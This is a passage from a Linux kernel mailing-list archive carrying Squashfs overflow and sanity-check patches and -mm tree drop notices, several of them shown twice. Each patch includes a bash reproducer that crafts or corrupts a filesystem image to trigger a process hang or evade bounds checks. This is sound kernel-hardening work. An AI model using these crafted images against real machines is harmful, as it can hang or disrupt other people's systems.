@@ -327,14 +328,14 @@ static int fill_meta_index(struct inode *inode, int index,* Get the on-disk location and compressed size of the datablock * specified by index. Fill_meta_index() does most of the work. */ -static int read_blocklist_ptrs (struct inode *inode,int index,u64 *start, +static int read_blocklist_ptrs (struct inode *inode,s64 index,u64 *start,int *offset,u64 *block) {long long blks;__le32 size; -int res =fill_meta_index (inode, index, start, offset, block); +s64 res =fill_meta_index (inode, index, start, offset, block); -TRACE ("read_blocklist: res %d, index %d, start 0x%llx, offset 0x%x, block 0x%llx\n" , +TRACE ("read_blocklist: res %lld, index %lld, start 0x%llx, offset 0x%x, block 0x%llx\n" , res, index, *start, *offset, block ? *block :0 );if (res <0 )
@@ -364,7 +365,7 @@ static int read_blocklist_ptrs(struct inode *inode, int index, u64 *start,return squashfs_block_size (size); } -static inline int read_blocklist (struct inode *inode,int index,u64 *block) +static inline int read_blocklist (struct inode *inode,s64 index,u64 *block) {u64 start;int offset;
@@ -397,8 +398,8 @@ void squashfs_copy_cache(struct folio *folio,struct address_space *mapping = folio->mapping;struct inode *inode = mapping->host;struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -int i, mask = (1 << (msblk->block_log -PAGE_SHIFT )) -1 ; -int start_index = folio->index & ~mask, end_index = start_index | mask; +s64 i, mask = (1 << (msblk->block_log -PAGE_SHIFT )) -1 ; +s64 start_index = folio->index & ~mask, end_index = start_index | mask;/* * Loop copying datablock into pages. As the datablock likely covers
@@ -412,7 +413,7 @@ void squashfs_copy_cache(struct folio *folio,size_t avail = buffer ?min (bytes,PAGE_SIZE ) :0 ;bool updated = false; -TRACE ("bytes %zu, i %d, available_bytes %zu\n" , bytes, i, avail); +TRACE ("bytes %zu, i %lld, available_bytes %zu\n" , bytes, i, avail); push_folio = (i == folio->index) ? folio : __filemap_get_folio(mapping, i,
@@ -464,8 +465,8 @@ static int squashfs_read_folio(struct file *file, struct folio *folio) {struct inode *inode = folio->mapping->host;struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -int index = folio->index >> (msblk->block_log -PAGE_SHIFT ); -int file_end =i_size_read (inode) >> msblk->block_log; +s64 index = folio->index >> (msblk->block_log -PAGE_SHIFT ); +s64 file_end =i_size_read (inode) >> msblk->block_log;int expected = index == file_end ? (i_size_read (inode) & (msblk->block_size -1 )) : msblk->block_size;
@@ -584,7 +585,7 @@ static void squashfs_readahead(struct readahead_control *ractl)unsigned int nr_pages =0 ;struct page **pages;int i; -loff_t file_end =i_size_read (inode) >> msblk->block_log; +s64 file_end =i_size_read (inode) >> msblk->block_log;unsigned int max_pages =1UL << shift;readahead_expand (ractl, start, (len | mask) +1 );
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-very-large-files-can-exceed-an-int-block-count.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: very large files can exceed an int block count has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: very large files can exceed an int block count
has been removed from the -mm tree. Its filename was
squashfs-very-large-files-can-exceed-an-int-block-count.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: very large files can exceed an int block count
Date: Wed, 11 Nov 2026 23:43:53 +0000
Squashfs in many places uses a signed int to store the block number and block count of a file. If the block size is using the Linux page size (normally 4 KiB), it means any file larger than 8 TiB (2^43) will overflow a signed int.
If the block number and block count is in terms of the Squashfs filesystem block size (which can be between 4 kiB and 1 MiB), it depends on the block size as to when a signed int will overflow, but a file larger than 256 TiB (2^48) using 128 KiB blocks will overflow a signed int.
This commit widens all appropriate variables to long long (s64) to avoid overflow.
Reproducer
==========
The following reproducer creates a Squashfs filesystem with a 8 TiB + 4096 byte sparse file. The filestem is mounted, and the last 4096 bytes are read from the file. If the reproducer is successful the process will hang. This is because signed int overflow occurs in squashfs_copy_cache() with the result that folio_end_read() is not called.
====================================================================
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo "Create an 8 Tib (2^43) + 4096 byte sparse file"
if ! truncate --size 8796093026304 bigfile; then
echo Create of sparse file failed.
finish
fi
echo Generate the Squashfs filesystem containing the sparse file echo This will be VERY slow on Squashfs-tools older than 4.7.3
mksquashfs bigfile bigfile.sqsh -b 1M -quiet
echo Mount the filesystem to /mnt
if ! mount -t squashfs bigfile.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the last 4096 bytes from the sparse file. echo If the exploit succeeds the process will hang
dd if=/mnt/bigfile bs=1 skip=8796093022208
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
====================================================================
fs/squashfs/file.c | 33 +++++++++++++++++---------------- 1 file changed, 17 insertions(+), 16 deletions(-)
fs/squashfs/file.c renamed from fs/squashfs/file.c~squashfs-very-large-files-can-exceed-an-int-block-count +17 -16
@@ -35,6 +35,7 @@#include <linux/string.h> #include <linux/pagemap.h> #include <linux/mutex.h> +#include <linux/math64.h> #include "squashfs_fs.h" #include "squashfs_fs_sb.h"
@@ -160,7 +161,7 @@ static void release_meta_index(struct in* Read the next n blocks from the block list, starting from * metadata block <start_block, offset>. */ -static long long read_indexes (struct super_block *sb,int n, +static long long read_indexes (struct super_block *sb,s64 n,u64 *start_block,int *offset) {int err, i;
@@ -173,7 +174,7 @@ static long long read_indexes(struct sup }while (n) { -int blocks =min_t (int, n,PAGE_SIZE >>2 ); +int blocks =min_t (s64, n,PAGE_SIZE >>2 ); err =squashfs_read_metadata (sb, blist, start_block, offset, blocks <<2 );
@@ -216,7 +217,7 @@ failure:*/ static inline int calculate_skip (u64 blocks) { -u64 skip = blocks / ((SQUASHFS_META_ENTRIES +1 ) +u64 skip =div_u64 (blocks, (SQUASHFS_META_ENTRIES +1 ) *SQUASHFS_META_INDEXES );return min ((u64 )SQUASHFS_CACHED_BLKS -1 , skip +1 ); }
@@ -227,7 +228,7 @@ static inline int calculate_skip(u64 blo* on-disk locations of the datablock and block list metadata block * <index_block, index_offset> for index (scaled to nearest cache index). */ -static int fill_meta_index (struct inode *inode,int index, +static s64 fill_meta_index (struct inode *inode,s64 index,u64 *index_block,int *index_offset,u64 *data_block) {struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;
@@ -243,7 +244,7 @@ static int fill_meta_index(struct inode/* * Scale index to cache index (cache slot entry) */ - index /=SQUASHFS_META_INDEXES * skip; + index =div_u64 (index,SQUASHFS_META_INDEXES * skip);while (offset < index) { meta =locate_meta_index (inode, offset +1 , index);
@@ -315,7 +316,7 @@ all_done:/* * Scale cache index (cache slot entry) to index */ -return offset *SQUASHFS_META_INDEXES * skip; +return (s64 )offset *SQUASHFS_META_INDEXES * skip; failed:release_meta_index (inode, meta);
@@ -327,14 +328,14 @@ failed:* Get the on-disk location and compressed size of the datablock * specified by index. Fill_meta_index() does most of the work. */ -static int read_blocklist_ptrs (struct inode *inode,int index,u64 *start, +static int read_blocklist_ptrs (struct inode *inode,s64 index,u64 *start,int *offset,u64 *block) {long long blks;__le32 size; -int res =fill_meta_index (inode, index, start, offset, block); +s64 res =fill_meta_index (inode, index, start, offset, block); -TRACE ("read_blocklist: res %d, index %d, start 0x%llx, offset 0x%x, block 0x%llx\n" , +TRACE ("read_blocklist: res %lld, index %lld, start 0x%llx, offset 0x%x, block 0x%llx\n" , res, index, *start, *offset, block ? *block :0 );if (res <0 )
@@ -364,7 +365,7 @@ static int read_blocklist_ptrs(struct inreturn squashfs_block_size (size); } -static inline int read_blocklist (struct inode *inode,int index,u64 *block) +static inline int read_blocklist (struct inode *inode,s64 index,u64 *block) {u64 start;int offset;
@@ -397,8 +398,8 @@ void squashfs_copy_cache(struct folio *fstruct address_space *mapping = folio->mapping;struct inode *inode = mapping->host;struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -int i, mask = (1 << (msblk->block_log -PAGE_SHIFT )) -1 ; -int start_index = folio->index & ~mask, end_index = start_index | mask; +s64 i, mask = (1 << (msblk->block_log -PAGE_SHIFT )) -1 ; +s64 start_index = folio->index & ~mask, end_index = start_index | mask;/* * Loop copying datablock into pages. As the datablock likely covers
@@ -412,7 +413,7 @@ void squashfs_copy_cache(struct folio *fsize_t avail = buffer ?min (bytes,PAGE_SIZE ) :0 ;bool updated = false; -TRACE ("bytes %zu, i %d, available_bytes %zu\n" , bytes, i, avail); +TRACE ("bytes %zu, i %lld, available_bytes %zu\n" , bytes, i, avail); push_folio = (i == folio->index) ? folio : __filemap_get_folio(mapping, i,
@@ -464,8 +465,8 @@ static int squashfs_read_folio(struct fi {struct inode *inode = folio->mapping->host;struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -int index = folio->index >> (msblk->block_log -PAGE_SHIFT ); -int file_end =i_size_read (inode) >> msblk->block_log; +s64 index = folio->index >> (msblk->block_log -PAGE_SHIFT ); +s64 file_end =i_size_read (inode) >> msblk->block_log;int expected = index == file_end ? (i_size_read (inode) & (msblk->block_size -1 )) : msblk->block_size;
@@ -584,7 +585,7 @@ static void squashfs_readahead(struct reunsigned int nr_pages =0 ;struct page **pages;int i; -loff_t file_end =i_size_read (inode) >> msblk->block_log; +s64 file_end =i_size_read (inode) >> msblk->block_log;unsigned int max_pages =1UL << shift;readahead_expand (ractl, start, (len | mask) +1 );
_
Patches currently in -mm which might be from [email protected] are
squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 14/22 Squashfs: add more sanity checking to squashfs_block_size()
In reply to Phillip LougherSquashfs_block_size() sanity checks the data and fragment block size read from disk. However, it doesn't do all the sanity checking that it could do. This means detectably invalid block sizes are passed down to squashfs_read_data().
This situation is sub-optimal because in the case of fragment blocks, a fragment cache buffer has to obtained (with possible waits for a free buffer etc.) before squashfs_read_data() is called.
In both fragment and data block cases if the buffer is compressed, it means a free decompressor may be obtained (with possible waits for a decompressor) by squashfs_read_data(), only to have the decompression fail.
In both these cases this adds unnecessary overhead which may impact performance, and this is with values that should have been detected earlier.
This commit adds extra sanity checking to trap additional incorrect values.
Reproducer
==========
The reproducer generates a Squashfs filesystem and then corrupts the block size value for file zero block 0. If the exploit succeeds this corrupted value is not detected, and it is passed to the decompressor via squashfs_read_data() which then fails at that point.
====================================================================
#!/bin/bash
ARGS="-quiet -no-progress -no-fragments -noI -noD -no-sparse -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create Squashfs filesystem with one file
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=128 2>/dev/null" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo Corrupt the data block size for block 0 in file zero echo Flip the compression bit from uncompressed to compressed. echo "This is at byte offset 131207 (96 + 128 KiB + 37)"
dd if=/dev/zero of=img.sqsh seek=131205 bs=1 count=1 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dmesg should show the following:
echo "SQUASHFS error: zlib decompression failed, data probably corrupt" echo "SQUASHFS error: Failed to read block 0x60: -5"
echo "SQUASHFS error: zlib decompression failed, data probably corrupt" echo "SQUASHFS error: Failed to read block 0x60: -5"
echo "SQUASHFS error: Unable to read data cache entry [60]" echo "SQUASHFS error: Unable to read page, block 60, size 20000"
dd if=/mnt/zero
popd 2>&1> /dev/null
rm -rf $DIR
==============================================================================
---
v2: Add additional sanity check, a zero size cannot have
SQUASHFS_COMPRESSED_BIT_BLOCK set.
--- fs/squashfs/file.c | 8 +++++--- fs/squashfs/fragment.c | 2 +- fs/squashfs/squashfs_fs.h | 6 ------ fs/squashfs/squashfs_helpers.h | 36 ++++++++++++++++++++++++++++++++++ 4 files changed, 42 insertions(+), 10 deletions(-)
fs/squashfs/file.c +5 -3
@@ -166,6 +166,7 @@ static long long read_indexes(struct super_block *sb, s64 n, {int err, i;long long block =0 ; +struct squashfs_sb_info *msblk = sb->s_fs_info;__le32 *blist =kmalloc (PAGE_SIZE ,GFP_KERNEL );if (blist ==NULL ) {
@@ -185,7 +186,7 @@ static long long read_indexes(struct super_block *sb, s64 n, }for (i =0 ; i < blocks; i++) { -int size =squashfs_block_size (blist[i]); +int size =squashfs_data_size (blist[i], msblk->block_size);if (size <0 ) { err = size; goto failure;
@@ -333,6 +334,7 @@ static int read_blocklist_ptrs(struct inode *inode, s64 index, u64 *start, {long long blks;__le32 size; +struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;s64 res =fill_meta_index (inode, index, start, offset, block); TRACE("read_blocklist: res %lld, index %lld, start 0x%llx, offset 0x%x, block 0x%llx\n",
@@ -362,7 +364,7 @@ static int read_blocklist_ptrs(struct inode *inode, s64 index, u64 *start, sizeof(size));if (res <0 )return res; -return squashfs_block_size (size); +return squashfs_data_size (size, msblk->block_size); }static inline int read_blocklist (struct inode *inode,s64 index,u64 *block)
@@ -720,7 +722,7 @@ static loff_t seek_hole_data(struct file *file, loff_t offset, int whence) goto finished;for (i =0 ; i < indexes; i++) { - length =squashfs_block_size (blist[i]); + length =squashfs_data_size (blist[i], msblk->block_size);if (length <0 ) { offset = length; goto finished;
fs/squashfs/fragment.c +1 -1
@@ -54,7 +54,7 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,return size; *fragment_block =le64_to_cpu (fragment_entry.start_block); -return squashfs_block_size (fragment_entry.size); +return squashfs_frag_size (fragment_entry.size, msblk->block_size); }
fs/squashfs/squashfs_fs.h +0 -6
@@ -101,12 +101,6 @@#define SQUASHFS_XATTR_VALUE_OOL 256#define SQUASHFS_XATTR_PREFIX_MASK 0xff -static inline int squashfs_block_size (__le32 raw) -{ -u32 size =le32_to_cpu (raw); -return (size >>25 ) ? -EIO : size; -} -/* cached data constants for filesystem */ #define SQUASHFS_CACHED_BLKS 8
fs/squashfs/squashfs_helpers.h +36 -0
@@ -204,4 +204,40 @@ static inline s16 squashfs_xattr_offset(s64 xattr) {return xattr &0xffff ; } + +static inline int squashfs_block_size (u32 size,s32 block_size) +{ +/* reject any size with bits set where they should not be */ +if ((size & ~SQUASHFS_COMPRESSED_BIT_BLOCK ) > block_size) +return -EIO ; + +/* a block can't be both full size and compressed */ +if (size == block_size) +return -EIO ; + +/* a zero size block will never have SQUASHFS_COMPRESSED_BIT_BLOCK set */ +if (size ==SQUASHFS_COMPRESSED_BIT_BLOCK ) +return -EIO ; + +return size; +} + +static inline int squashfs_data_size (__le32 raw,s32 block_size) +{ +return squashfs_block_size (le32_to_cpu (raw), block_size); +} + +static inline int squashfs_frag_size (__le32 raw,s32 block_size) +{ +int size =squashfs_block_size (le32_to_cpu (raw), block_size); + +if (size <0 ) +return size; + +/* a fragment block can't be zero size */ +if (size ==0 ) +return -EIO ; + +return size; +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-add-more-sanity-checking-to-squashfs_block_size.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: add more sanity checking to squashfs_block_size() has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: add more sanity checking to squashfs_block_size()
has been removed from the -mm tree. Its filename was
squashfs-add-more-sanity-checking-to-squashfs_block_size.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: add more sanity checking to squashfs_block_size()
Date: Wed, 11 Nov 2026 23:43:54 +0000
Squashfs_block_size() sanity checks the data and fragment block size read from disk. However, it doesn't do all the sanity checking that it could do. This means detectably invalid block sizes are passed down to squashfs_read_data().
This situation is sub-optimal because in the case of fragment blocks, a fragment cache buffer has to obtained (with possible waits for a free buffer etc.) before squashfs_read_data() is called.
In both fragment and data block cases if the buffer is compressed, it means a free decompressor may be obtained (with possible waits for a decompressor) by squashfs_read_data(), only to have the decompression fail.
In both these cases this adds unnecessary overhead which may impact performance, and this is with values that should have been detected earlier.
This commit adds extra sanity checking to trap additional incorrect values.
Reproducer
==========
The reproducer generates a Squashfs filesystem and then corrupts the block size value for file zero block 0. If the exploit succeeds this corrupted value is not detected, and it is passed to the decompressor via squashfs_read_data() which then fails at that point.
====================================================================
#!/bin/bash
ARGS="-quiet -no-progress -no-fragments -noI -noD -no-sparse -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create Squashfs filesystem with one file
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=128 2>/dev/null" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo Corrupt the data block size for block 0 in file zero echo Flip the compression bit from uncompressed to compressed. echo "This is at byte offset 131207 (96 + 128 KiB + 37)"
dd if=/dev/zero of=img.sqsh seek=131205 bs=1 count=1 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dmesg should show the following:
echo "SQUASHFS error: zlib decompression failed, data probably corrupt" echo "SQUASHFS error: Failed to read block 0x60: -5"
echo "SQUASHFS error: zlib decompression failed, data probably corrupt" echo "SQUASHFS error: Failed to read block 0x60: -5"
echo "SQUASHFS error: Unable to read data cache entry [60]" echo "SQUASHFS error: Unable to read page, block 60, size 20000"
dd if=/mnt/zero
popd 2>&1> /dev/null
rm -rf $DIR
==============================================================================
fs/squashfs/file.c | 8 ++++-- fs/squashfs/fragment.c | 2 - fs/squashfs/squashfs_fs.h | 6 ----- fs/squashfs/squashfs_helpers.h | 36 +++++++++++++++++++++++++++++++ 4 files changed, 42 insertions(+), 10 deletions(-)
fs/squashfs/file.c renamed from fs/squashfs/file.c~squashfs-add-more-sanity-checking-to-squashfs_block_size +5 -3
@@ -166,6 +166,7 @@ static long long read_indexes(struct sup {int err, i;long long block =0 ; +struct squashfs_sb_info *msblk = sb->s_fs_info;__le32 *blist =kmalloc (PAGE_SIZE ,GFP_KERNEL );if (blist ==NULL ) {
@@ -185,7 +186,7 @@ static long long read_indexes(struct sup }for (i =0 ; i < blocks; i++) { -int size =squashfs_block_size (blist[i]); +int size =squashfs_data_size (blist[i], msblk->block_size);if (size <0 ) { err = size; goto failure;
@@ -333,6 +334,7 @@ static int read_blocklist_ptrs(struct in {long long blks;__le32 size; +struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;s64 res =fill_meta_index (inode, index, start, offset, block); TRACE("read_blocklist: res %lld, index %lld, start 0x%llx, offset 0x%x, block 0x%llx\n",
@@ -362,7 +364,7 @@ static int read_blocklist_ptrs(struct in sizeof(size));if (res <0 )return res; -return squashfs_block_size (size); +return squashfs_data_size (size, msblk->block_size); }static inline int read_blocklist (struct inode *inode,s64 index,u64 *block)
@@ -720,7 +722,7 @@ static loff_t seek_hole_data(struct file goto finished;for (i =0 ; i < indexes; i++) { - length =squashfs_block_size (blist[i]); + length =squashfs_data_size (blist[i], msblk->block_size);if (length <0 ) { offset = length; goto finished;
fs/squashfs/fragment.c renamed from fs/squashfs/fragment.c~squashfs-add-more-sanity-checking-to-squashfs_block_size +1 -1
@@ -54,7 +54,7 @@ int squashfs_frag_lookup(struct super_blreturn size; *fragment_block =le64_to_cpu (fragment_entry.start_block); -return squashfs_block_size (fragment_entry.size); +return squashfs_frag_size (fragment_entry.size, msblk->block_size); }
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-add-more-sanity-checking-to-squashfs_block_size +0 -6
@@ -101,12 +101,6 @@#define SQUASHFS_XATTR_VALUE_OOL 256#define SQUASHFS_XATTR_PREFIX_MASK 0xff -static inline int squashfs_block_size (__le32 raw) -{ -u32 size =le32_to_cpu (raw); -return (size >>25 ) ? -EIO : size; -} -/* cached data constants for filesystem */ #define SQUASHFS_CACHED_BLKS 8
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-add-more-sanity-checking-to-squashfs_block_size +36 -0
@@ -204,4 +204,40 @@ static inline s16 squashfs_xattr_offset( {return xattr &0xffff ; } + +static inline int squashfs_block_size (u32 size,s32 block_size) +{ +/* reject any size with bits set where they should not be */ +if ((size & ~SQUASHFS_COMPRESSED_BIT_BLOCK ) > block_size) +return -EIO ; + +/* a block can't be both full size and compressed */ +if (size == block_size) +return -EIO ; + +/* a zero size block will never have SQUASHFS_COMPRESSED_BIT_BLOCK set */ +if (size ==SQUASHFS_COMPRESSED_BIT_BLOCK ) +return -EIO ; + +return size; +} + +static inline int squashfs_data_size (__le32 raw,s32 block_size) +{ +return squashfs_block_size (le32_to_cpu (raw), block_size); +} + +static inline int squashfs_frag_size (__le32 raw,s32 block_size) +{ +int size =squashfs_block_size (le32_to_cpu (raw), block_size); + +if (size <0 ) +return size; + +/* a fragment block can't be zero size */ +if (size ==0 ) +return -EIO ; + +return size; +}#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 15/22 Squashfs: sanity check fragment block location and range
In reply to Phillip LougherWhen reading fragment blocks from disk the location and range of the fragment block is not sanity checked before it is passed down to squashfs_read_data().
In squashfs_read_data() the block location and range are sanity checked to the extent that the location plus block length does not go beyond the end of the filesystem. But, a block location can be crafted to be close to 2^64, and so the addition of the location and the length can cause arthimetic overflow, and thereby evade the sanity check.
This evasion, however, will be caught when the code after the sanity check tries to read the block from the filesystem. This is because it is the block location that is passed to the I/O read, and not the result of the overflowed sanity check. This will return error because it will be beyond the end of the device.
The real issue here is that leaving the sanity checking of the fragment block location and range to squashfs_read_data() is sub-optimal. This is because a fragment cache buffer has to be obtained (with possible waits fop a free buffer, and then the eviction of the original cached contents) before squashfs_read_data() is called.
This adds unnecessary overhead and contention, which could be exploited to reduce performance, and this is for incorrect values that should have been detected earlier.
This commit adds extra sanity checking to ensure the fragment block location and range are within bounds before a free fragment block is obtained.
Reproducer
==========
The reproducer generates a Squashfs filesytem with a fragment block, and then corrupts the location of the fragment block to 2^64 - 32 KiB. If the exploit succeeds this corrupted value is paased to squaashfs_read_data() and it is not detected until the I/O read fails.
=====================================================================
ARGS="-quiet -no-progress -noI -noD -noF -no-sparse -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create Squashfs filesystem with one file
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=32 2>/dev/null" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo "Corrupt the location of fragment block 0"
echo "Alter it to the value 0xFFFFFFFFFFFF8000 (2^64 - 32 KiB)" echo "The block location is stored at byte offset 32958"
/usr/bin/echo -en "\x00\x80\xff\xff\xff\xff\xff\xff" > file dd if=file of=img.sqsh seek=32958 bs=1 count=8 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dmesg should show the following:
echo "dd: attempt to access beyond end of device"
echo " loop20: rw=2048, sector=36028797018963904, nr_sectors = 64 limit=72"
echo "SQUASHFS error: Failed to read block 0xffffffffffff8000: -5" echo "SQUASHFS error: Unable to read fragment cache entry [ffffffffffff8000]" echo "SQUASHFS error: Unable to read fragment cache entry [ffffffffffff8000]" echo "SQUASHFS error: Unable to read page, block ffffffffffff8000, size 1008000"
dd if=/mnt/zero
popd 2>&1> /dev/null
rm -rf $DIR
=========================================================================
---
v2: Don't return frag_size as the return value of squashfs_frag_lookup()
This ensures the frag_size cannot be treated as a negative error result.
--- fs/squashfs/cache.c | 7 +++++-- fs/squashfs/file.c | 8 ++++++-- fs/squashfs/fragment.c | 5 +++-- fs/squashfs/inode.c | 12 ++++-------- fs/squashfs/squashfs.h | 3 ++- fs/squashfs/squashfs_helpers.h | 24 ++++++++++++++++++++++-- 6 files changed, 42 insertions(+), 17 deletions(-)
fs/squashfs/cache.c +5 -2
@@ -490,9 +490,12 @@ struct squashfs_cache_entry *squashfs_get_fragment(struct super_block *sb, u64 start_block, int length) {struct squashfs_sb_info *msblk = sb->s_fs_info; +int res =squashfs_check_range (start_block, length, msblk); -return squashfs_cache_get (sb, msblk->fragment_cache, start_block, - length); +if (res <0 ) +return ERR_PTR (res); + +return squashfs_cache_get (sb, msblk->fragment_cache, start_block, res); }
fs/squashfs/file.c +6 -2
@@ -443,7 +443,7 @@ static int squashfs_readpage_fragment(struct folio *folio, int expected)struct squashfs_cache_entry *buffer =squashfs_get_fragment (inode->i_sb,squashfs_i (inode)->fragment_block,squashfs_i (inode)->fragment_size); -int res = buffer->error; +int res =IS_ERR (buffer) ?PTR_ERR (buffer) : buffer->error;if (res) ERROR("Unable to read page, block %llx, size %x\n",
@@ -453,7 +453,8 @@ static int squashfs_readpage_fragment(struct folio *folio, int expected)squashfs_copy_cache (folio, buffer, expected,squashfs_i (inode)->fragment_offset); -squashfs_cache_put (buffer); +if (!IS_ERR (buffer)) +squashfs_cache_put (buffer);return res; }
@@ -519,6 +520,9 @@ static int squashfs_readahead_fragment(struct inode *inode, struct page **page,void *addr;struct page *last_page; +if (IS_ERR (buffer)) +return 1 ; +if (buffer->error) goto out;
fs/squashfs/fragment.c +3 -2
@@ -34,7 +34,7 @@* location of the fragment and its compressed size */ int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment, -u64 *fragment_block) +u64 *fragment_block,int *fragment_size) {struct squashfs_sb_info *msblk = sb->s_fs_info;int block, offset, size;
@@ -54,7 +54,8 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,return size; *fragment_block =le64_to_cpu (fragment_entry.start_block); -return squashfs_frag_size (fragment_entry.size, msblk->block_size); + *fragment_size =le32_to_cpu (fragment_entry.size); +return 0 ; }
fs/squashfs/inode.c +4 -8
@@ -158,11 +158,9 @@ int squashfs_read_inode(struct inode *inode, long long ino) goto failed_read; } frag_offset =le32_to_cpu (sqsh_ino->offset); - frag_size =squashfs_frag_lookup (sb, frag, &frag_blk); -if (frag_size <0 ) { - err = frag_size; + err =squashfs_frag_lookup (sb, frag, &frag_blk, &frag_size); +if (err <0 ) goto failed_read; - } }else { frag_blk =SQUASHFS_INVALID_BLK ; frag_size =0 ;
@@ -215,11 +213,9 @@ int squashfs_read_inode(struct inode *inode, long long ino) goto failed_read; } frag_offset =le32_to_cpu (sqsh_ino->offset); - frag_size =squashfs_frag_lookup (sb, frag, &frag_blk); -if (frag_size <0 ) { - err = frag_size; + err =squashfs_frag_lookup (sb, frag, &frag_blk, &frag_size); +if (err <0 ) goto failed_read; - } }else { frag_blk =SQUASHFS_INVALID_BLK ; frag_size =0 ;
fs/squashfs/squashfs.h +2 -1
@@ -68,7 +68,8 @@ extern __le64 *squashfs_read_inode_lookup_table(struct super_block *, u64, u64, unsigned int);/* fragment.c */ -extern int squashfs_frag_lookup (struct super_block *,unsigned int ,u64 *); +extern int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment, +u64 *fragment_block,int *fragment_size);extern __le64 *squashfs_read_fragment_index_table (struct super_block *,u64 ,u64 ,unsigned int );
fs/squashfs/squashfs_helpers.h +22 -2
@@ -227,9 +227,9 @@ static inline int squashfs_data_size(__le32 raw, s32 block_size)return squashfs_block_size (le32_to_cpu (raw), block_size); } -static inline int squashfs_frag_size (__le32 raw,s32 block_size) +static inline int squashfs_frag_size (u32 disk_size,s32 block_size) { -int size =squashfs_block_size (le32_to_cpu (raw), block_size); +int size =squashfs_block_size (disk_size, block_size);if (size <0 )return size;
@@ -240,4 +240,24 @@ static inline int squashfs_frag_size(__le32 raw, s32 block_size) return size; } + +static inline int squashfs_check_range (u64 start_block,s32 disk_size,struct squashfs_sb_info *msblk) +{ +int size =squashfs_frag_size (disk_size, msblk->block_size); + +if (size <0 ) +return size; + +if (start_block >= msblk->inode_table) +return -EIO ; + +/* +* the above check ensured start_block is not 2^63 or larger, and so +* this addition will not overflow +*/ +if (start_block +squashfs_compressed_size_block (size) > msblk->inode_table) +return -EIO ; + +return size; +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-sanity-check-fragment-block-location-and-range.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: sanity check fragment block location and range has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: sanity check fragment block location and range
has been removed from the -mm tree. Its filename was
squashfs-sanity-check-fragment-block-location-and-range.patch
This patch was dropped because an updated version will be issued
